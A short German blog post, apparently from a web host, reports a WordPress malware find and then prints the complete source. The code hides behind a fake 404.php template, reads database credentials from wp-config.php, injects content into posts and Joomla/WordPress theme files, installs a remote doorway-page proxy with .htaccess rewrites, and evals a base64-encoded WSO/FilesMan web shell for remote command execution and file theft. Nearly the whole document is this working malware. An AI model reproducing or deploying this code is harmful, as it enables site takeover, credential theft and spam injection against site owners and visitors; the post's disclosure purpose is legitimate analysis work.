11.23
Wir haben ein Malware-Skript gefunden, welches für WordPress gebaut wurde.
Dieses liest aus der wp-config.php die MySQL-Zugangsdaten von WordPress aus und dann alle Einträge, welche öffentlich sind:
$query = "SELECT id, post_content FROM " . $db_prefix . "posts WHERE post_status='publish' ORDER BY id DESC";
Dazu versucht es bei Joomla automatisch index.php-Dateien aus /templates/ Code einzufügen:
$files_to_write = get_files($dir, "/templates\/.*\/index\.php/i");
Ebenso bei WordPress in die /themes/*/footer*.php und /themes/*/header*.php
Der eingefügte Code beinhaltet eine PHP-Shell „FilesMan“/“WSO_VERSION“ der dann in die Dateien eingefügt wird.
Hier einmal der komplete Code:
if(isset($_GET['pwd'])) {
// $table_prefix = 'wp_';
// define('DB_NAME', 'wordpress');
// define('DB_USER', 'root');
// define('DB_PASSWORD', 'qweasd123');
// define('DB_HOST', '127.0.0.1');
// define('DB_CHARSET', 'utf8');
// define('DB_COLLATE', '');
function get_files($dir = "." , $pattern = "/php/i"){
// RIGHT TO SEE DIR ????
$files = array();
if ($handle = opendir($dir)) {
while (false !== ($item = readdir($handle))) {
if (is_file("$dir/$item")) {
if (preg_match($pattern, "$dir/$item")) {
$files[] = "$dir/$item";
}
}
elseif (is_dir("$dir/$item") && ($item != ".") && ($item != "..")){
$files = array_merge($files, get_files("$dir/$item", $pattern));
}
}
closedir($handle);
}
return $files;
}
function write_content_to_new_file($file = "test.txt", $content = "test_14_content") {
if ( file_put_contents($file, $content) ) {} else {echo "ERROR: File isn't writeable: " . $file . "\n";}
}
$db_names = array();
// write_content_to_db('127.0.0.1', 'root', 'qweasd123', 'wordpress', 'wp_', $content_to_add);
function write_content_to_db($db_server, $db_login, $db_pass, $db_name, $db_prefix, $content) {
global $db_names;
if (in_array($db_name, $db_names)) {
echo "Db name: " . $db_name . " already writed.";
return true;
}
$link = mysql_connect($db_server, $db_login, $db_pass);
if (!$link) {
echo "ERROR: Could not connect: " . mysql_error() . "\n";
return false;
}
echo "Connected db successfully, db name:" . $db_name . " \n";
mysql_select_db($db_name);
$query = "SELECT id, post_content FROM " . $db_prefix . "posts WHERE post_status='publish' ORDER BY id DESC";
$result = mysql_query($query);
$row = mysql_fetch_assoc($result);
// echo $row["post_content"];
if ($row) {} else {
echo "ERROR: Rows not found \n";
return false;
}
for ($i=0; $i < 2; $i++) {
$separate_place = rand(2, strlen( $row['post_content'] )-2 );
$first_part = substr( $row['post_content'], 0, $separate_place );
$second_part = substr( $row['post_content'], $separate_place );
$new_post = $first_part . $content . $second_part;
$new_post = mysql_real_escape_string($new_post);
$up_query = "UPDATE " . $db_prefix . "posts SET post_content = '" . $new_post . "' WHERE id = " . $row['id'] ;
// echo "
" . $up_query . "
";
echo "Write to page id " . $row['id'] . "\n";
$up_result = mysql_query($up_query);
$row = mysql_fetch_assoc($result);
}
mysql_close($link);
$db_names[] = $db_name;
}
function parse_and_write_db($file = "test.txt", $content = "test_14_content") {
# code...
$content_to_add = "feeeeuccc";
$tmp_file_data = file_get_contents($file);
// $table_prefix = 'wp_';
// define('DB_NAME', 'wordpress');
// define('DB_USER', 'root');
// define('DB_PASSWORD', 'qweasd123');
// define('DB_HOST', '127.0.0.1');
// define('DB_CHARSET', 'utf8');
// define('DB_COLLATE', '');
// $_db_prefix = preg_replace("/.*table_prefix\s*=[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
$_db_prefix = preg_replace("/.*table_prefix.*?[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
$_db_name = preg_replace("/.*define.*?DB_NAME[\"'].*?[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
$_db_user = preg_replace("/.*define.*?DB_USER[\"'].*?[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
$_db_pass = preg_replace("/.*define.*?DB_PASSWORD[\"'].*?[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
$_db_host = preg_replace("/.*define.*?DB_HOST[\"'].*?[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
write_content_to_db($_db_host, $_db_user, $_db_pass, $_db_name, $_db_prefix, $content);
}
function write_content_to_begin($file = "test.txt", $content = "test_14_content") {
//check for already inj
$tmp_file_data = file_get_contents($file);
if ( (strpos($tmp_file_data, $content)) !== false ) {
echo "Already writed" . "\n";
return false;
}
$file_content = file_get_contents($file);
$content .= "\n";
$content .= $file_content;
if ( file_put_contents($file, $content) ) {} else {echo "ERROR: File isn't writeable: " . $file . "\n";}
}
function write_content_to_end($file = "test.txt", $content = "test_14_content") {
//check for already inj
$tmp_file_data = file_get_contents($file);
if ( (strpos($tmp_file_data, $content)) !== false ) {
echo "Already writed" . "\n";
return false;
}
$file_content = file_get_contents($file);
// $file_data = file_get_contents($file);
// $file_data .= "\n";
// $file_data .= $content;
$content = $file_content . "\n" . $content;
if ( file_put_contents($file, $content) ) {} else {echo "ERROR: File isn't writeable." . $file . "\n";}
}
function write_content_to_joomla($file = "test.txt", $content = "test_14_content") {
$i = 0;
$handle = @fopen($file, "r");
while (!feof($handle)) {
$text = fgets($handle);
if ( preg_match("/.*< \?php.*endif;.*/i" , $text ) ) {
// echo "TRUE";
$i++;
}
}
fclose($handle);
//check for already inj
$tmp_file_data = file_get_contents($file);
if ( (strpos($tmp_file_data, $content)) !== false ) {
echo "Already writed" . "\n";
return false;
}
$file_data = "";
$j = 0;
$handle = @fopen($file, "r");
while (!feof($handle)) {
$text = fgets($handle);
$file_data .= $text;
if ( preg_match("/.*<\?php.*endif;.*/i" , $text ) ) {
// echo "TRUE";
$j++;
if ($j == round($i/2)) {
$file_data .= $content;
}
}
} // end of while
fclose($handle);
if ( file_put_contents($file, $file_data) ) {} else {echo "ERROR: File isn't writeable." . $file . "\n";}
}
function echo_arr($arr) {
foreach ($arr as $key => $value) {
echo "$key : $value" . "\n";
}
}
if ( isset($_GET['r']) ) {
$req = $_GET['r'];
} else {
$req = "";
}
if ($req == "status") {
echo "alive";
exit;
// echo "sss";
}
if ($req == "add") {
$cont = $_POST['c'];
// $cont = $_GET['c'];
$cont = str_replace("\\", "", $cont);
$dir = "../..";
// try joomla
$files_to_write = get_files($dir, "/templates\/.*\/index\.php/i");
//if joomla
if (count($files_to_write)>0) {
echo "JOOMLA" ."\n" ;
foreach ($files_to_write as $key => $value) {
write_content_to_joomla($value, $cont );
}
echo_arr($files_to_write);
}
// try WP db
// $files_to_write = get_files($dir, "/wp-config.php/i");
// if ( count($files_to_write) == 0 ) {
// $dir = "..";
// $files_to_write = get_files($dir, "/wp-config.php/i");
// }
// if (count($files_to_write)>0) {
// echo "FOUND WP DB files" ."\n" ;
// echo_arr($files_to_write);
// foreach ($files_to_write as $key => $value) {
// parse_and_write_db($value, $cont);
// }
// } else {
// // echo "ERROR: No files to write \n" ;
// }
// // exit; continue ??
// exit;
// try WP
$chance = rand(1,2);
// header
if ($chance == 1) {
$files_to_write = get_files($dir, "/themes\/.*\/header.*\.php/i");
if (count($files_to_write)>0) {
echo "WP" ."\n" ;
foreach ($files_to_write as $key => $value) {
write_content_to_end($value, $cont );
}
echo_arr($files_to_write);
}
}
// footer
if ($chance == 2) {
$files_to_write = get_files($dir, "/themes\/.*\/footer.*\.php/i");
if (count($files_to_write)>0) {
echo "WP" ."\n" ;
foreach ($files_to_write as $key => $value) {
write_content_to_begin($value, $cont );
}
echo_arr($files_to_write);
}
}
exit;
}
if ($req == "addd") {
echo "Try to add dor..." . "\n";
$durl = $_GET['c'];
$durl = str_replace("\\", "", $durl);
$dkey = "xxx";
$dkey = $_GET['k'];
$dkey = str_replace("\\", "", $dkey);
$dtype = "yes";
$dtype = $_GET['t'];
$dtype = str_replace("\\", "", $dtype);
$dkey = $_GET['k'];
$dkey = str_replace("\\", "", $dkey);
$dfile = "link.php";
$dir = "../../..";
$cont = '< ' . '?' . 'php $dor_dir = "' . $durl . '";' ; $cont .= 'function get_content2($URL){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $URL);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$result = curl_exec($ch);if ( strpos($result, "Moved Permanently") !== false ) {$r_url = preg_replace("/^.*href\s*=\s*[\"\']([^\"\'>]+?)([\"\'>]+).*/is","$1",$result);header("Location: " . $r_url);exit;}curl_close($ch);return $result;}';
/*
$cont .= 'if(isset($_GET["xxx"])){$page_to_get=$_GET["xxx"];$dor_way=$dor_dir.$page_to_get.".html";$dor_content=get_content2($dor_way);$dor_content=preg_replace("#(< \s*a\s+[^>]*href\s*=\s*[\"\'])(?!http)([^\"\'>]+)(\.html)([\"\'>]+)#","$1".$_SERVER["SCRIPT_NAME"]."?xxx="."$2"."$4",$dor_content);$dor_content=preg_replace("#(< \s*?link\s+[^>]*.*?href\s*=\s*[\"\'])(.*?)(\.css)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xcss="."$2"."$4",$dor_content);$dor_content=preg_replace("#(< \s*?script\s+[^>]*.*?src\s*=\s*[\"\'])(.*?)(\.js)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xjs="."$2"."$4",$dor_content);echo $dor_content;die();}';
*/
if ($dtype=="yes") {
//htaccess version
$cont .= 'if(isset($_GET["' . $dkey . '"])){$page_to_get=$_GET["' . $dkey . '"];$dor_way=$dor_dir.$page_to_get.".html";$dor_content=get_content2($dor_way);$dor_content=preg_replace("#(< \s*a\s+[^>]*href\s*=\s*[\"\'])(?!http)([^\"\'>]+)(\.html)([\"\'>]+)#","$1" . "/' . $dkey. '/" . "$2" . "$4", $dor_content);$dor_content=preg_replace("#(< \s*?link\s+[^>]*.*?href\s*=\s*[\"\'])(.*?)(\.css)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xcss="."$2"."$4",$dor_content);$dor_content=preg_replace("#(< \s*?script\s+[^>]*.*?src\s*=\s*[\"\'])(.*?)(\.js)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xjs="."$2"."$4",$dor_content);echo $dor_content;die();}';
} else {
//No htaccess version
$cont .= 'if(isset($_GET["' . $dkey . '"])){$page_to_get=$_GET["' . $dkey . '"];$dor_way=$dor_dir.$page_to_get.".html";$dor_content=get_content2($dor_way);$dor_content=preg_replace("#(< \s*a\s+[^>]*href\s*=\s*[\"\'])(?!http)([^\"\'>]+)(\.html)([\"\'>]+)#","$1" . "?' . $dkey. '=" . "$2" . "$4", $dor_content);$dor_content=preg_replace("#(< \s*?link\s+[^>]*.*?href\s*=\s*[\"\'])(.*?)(\.css)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xcss="."$2"."$4",$dor_content);$dor_content=preg_replace("#(< \s*?script\s+[^>]*.*?src\s*=\s*[\"\'])(.*?)(\.js)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xjs="."$2"."$4",$dor_content);echo $dor_content;die();}';
}
$cont .= 'if(isset($_GET["xcss"])){$page_to_get=$_GET["xcss"];$dor_way=$dor_dir.$page_to_get.".css";header("Content-Type:text/css");$css_content=get_content2($dor_way);echo$css_content;die();}';
$cont .= 'if(isset($_GET["xjs"])){$page_to_get=$_GET["xjs"];$dor_way=$dor_dir.$page_to_get.".js";header("Content-Type:text/javascript");$css_content=get_content2($dor_way);echo$css_content;die();}';
$cont .= "?".">";
$ht_cont = "RewriteEngine on \n";
$ht_cont .= "RewriteBase / \n";
$ht_cont .= "RewriteRule ^". $dkey ."/(.*)$ index.php?" . $dkey . "=$1 [L] \n";
$files_to_check = get_files($dir, "/index\.php/i");
if ( count($files_to_check) == 0 ) {
$dir = "../..";
$files_to_check = get_files($dir, "/index\.php/i");
if ( count($files_to_check) == 0 ) {
$dir = "..";
$files_to_check = get_files($dir, "/index\.php/i");
}
}
echo "files to check: \n";
print_r($files_to_check);
$files_to_write = array();
foreach ($files_to_check as $key => $value) {
if ($file_cont = file_get_contents($value)) {
if (preg_match("/Front to the WordPress application/i", $file_cont)) {
$files_to_write[] = $value;
}
} else {
echo "Cant read file: " . $value . "\n";
}
}
if ( count($files_to_write) == 0 ) {
echo "ERROR: No files to write \n" ;
}
foreach ($files_to_write as $key => $value) {
echo "Try write to file: " . $value . "\n";
write_content_to_begin($value, $cont);
//htaccess write
echo "Try write to file: " . str_replace("index.php", ".htaccess", $value) . "\n";
write_content_to_begin(str_replace("index.php", ".htaccess", $value), $ht_cont);
}
exit;
}
eval(base64" - replace ist with _"decode("CiRhdXRoX3Bhc3MgPSAiN2U5NDI0YmZhMTJkMWYyYWQzMjQ2M2FjMWE4MGU0MDciOyAjIHRlc3QKJGNvbG9yID0gIiNkZjUiOwokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOwokZGVmYXVsdF91c2VfYWpheCA9IHRydWU7CiRkZWZhdWx0X2NoYXJzZXQgPSAnV2luZG93cy0xMjUxJzsKCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKQGRlZmluZSgnV1NPX1ZFUlNJT04nLCAnMi41Jyk7CgppZihnZXRfbWFnaWNfcXV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gICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkKICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pCiAgICAgICAgICAgICAgICAgICAgaWYod3NvV2hpY2goJGl0ZW0pKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07CiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxici8+JzsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIREQgc3BhY2UnLCB3c29FeCgnZGYgLWgnKSk7CiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgICAgICBlY2hvICc8YnIvPjxzcGFuPnBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgICAgIGlmIChpc3NldCAoJF9QT1NUWydwMiddLCAkX1BPU1RbJ3AzJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMiddKSAmJiBpc19udW1lcmljKCRfUE9TVFsncDMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkdGVtcCA9ICIiOwogICAgICAgICAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgewogICAgICAgICAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdWlkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdVc2VycycsICR0ZW1wKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJfSBlbHNlIHsKCQl3c29TZWNQYXJhbSgnT1MgVmVyc2lvbicsd3NvRXgoJ3ZlcicpKTsKCQl3c29TZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsd3NvRXgoJ25ldCBhY2NvdW50cycpKTsKCQl3c29TZWNQYXJhbSgnVXNlciBBY2NvdW50cycsd3NvRXgoJ25ldCB1c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ICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydjJ10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd1bnppcCcpIHsKCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgewogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsKICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwoJCQkJfQoJCQkJdW5zZXQoJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7CgkJCQlicmVhazsKCQkJZGV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WQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICI7XG5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09PSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICJOVUxMIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19pbnQoJHYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICR2OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICJcblx0LCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwogICAgICAgICAgICAgICAgICAgICAg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2EnXSA9ICdTZWNJbmZvJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkKCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOwpleGl0Owo="));
} else {
?>
< ?php
/**
*
* 404.php
*
* The template for displaying 404 pages (Not Found).
* Used when WordPress cannot find a post or page that matches the query.
*
* To change the error message:
* 1. Open functions.php file
* 2. Find the theme_404_content() function
* 3. Change the error_message variable value
*
* Additional settings are available under the Appearance -> Theme Options -> Pages.
*
*/
get_header(); ?>
< ?php get_sidebar('top'); ?>
< ?php theme_404_content(); ?>
< ?php get_sidebar('bottom'); ?>
< ?php get_footer(); ?>
< ?php
}
?>